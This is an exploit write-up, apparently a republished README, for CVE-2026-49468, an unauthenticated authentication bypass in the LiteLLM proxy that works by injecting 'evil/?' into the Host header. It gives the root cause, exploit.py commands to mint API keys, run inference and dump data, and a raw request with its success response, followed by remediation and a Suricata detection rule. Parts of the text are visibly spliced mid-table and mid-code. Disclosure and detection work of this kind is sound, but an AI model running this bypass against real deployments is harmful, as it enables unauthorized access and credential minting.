Share
## https://sploitus.com/exploit?id=E60475C6-2D8B-5DED-9628-3BE753C05D93
# CVE-2026-49468 — LiteLLM Unauthenticated Auth Bypass via Host-Header Route Confusion

Pre-authentication authentication/authorization bypass in the **LiteLLM** proxy (BerriAI).
A single crafted `Host` header makes the proxy evaluate its auth decision against a public
health route while FastAPI still executes the protected management handler — serving the
request with **no API key**.

| | |
|---|---|
| **CVE** | CVE-2026-49468 |
| **Product** | LiteLLM (BerriAI) proxy |
| **Affected** | ` The whole exploit is one header: **`Host: evil/?`**

---

## Root cause

`litellm/proxy/auth/auth_utils.py::get_request_route()` derives the route used for **every**
auth decision from `request.url.path`. Starlette rebuilds that URL string from the
**client-controlled `Host` header**:

```python
# starlette/datastructures.py  (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}"      # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path
```

FastAPI routing dispatches on the *raw* ASGI path `request.scope["path"]`. Injecting a `?`
into the `Host` header pushes the real request path into the URL **query** component, so the
reconstructed `url.path` collapses to `/`:

```
real request path (scope, FastAPI routes here) : /key/generate
Host header                                     : evil/?
reconstructed URL                               : http://evil/?/key/generate
urlsplit(...).path                              : /           401
#   [*] GET /user/list  Host: evil/?    -> 403
#   [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).

# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
#   [+] Minted virtual API key (unauthenticated): sk-....

# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump

# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check
```

`exploit.py` is stdlib-only (`http.client`) and sets the `Host` header verbatim at the wire
level. Actions: `check`, `mint-key`, `user`, `chat`, `dump`, `raw METHOD PATH`.

### Raw request

```http
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2

{}
```
```http
HTTP/1.1 200 OK

{"key":"sk-...", ...}
```

See [EVIDENCE.txt](EVIDENCE.txt) for the full baseline/bypass matrix, the adversarial
discriminant (`evil` → 401, `evil/foo` → 401, `evil/?` → 200), and the patched boundary.

---

## Remediation

- **Upgrade to LiteLLM `1.84.0` or later.**
- Workaround if you cannot upgrade: put the proxy behind a reverse proxy that enforces strict
  `Host` validation (reject Host values containing `/`, `?`, `#`), and set a `master_key`.

## Detection

The bypass is a syntactically invalid `Host` header. Sample Suricata rule:

```
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
  flow:to_server,established; http.host; pcre:"/[\/?#]/";
  classtype:web-application-attack; sid:2026049468; rev:1;)
```

Log-side: any request whose `Host` header contains `/`, `?`, or `#` reaching a LiteLLM proxy.

## Credits

Caio Fabrício ([BiiTts](https://github.com/BiiTts)).

For authorized security research and testing only.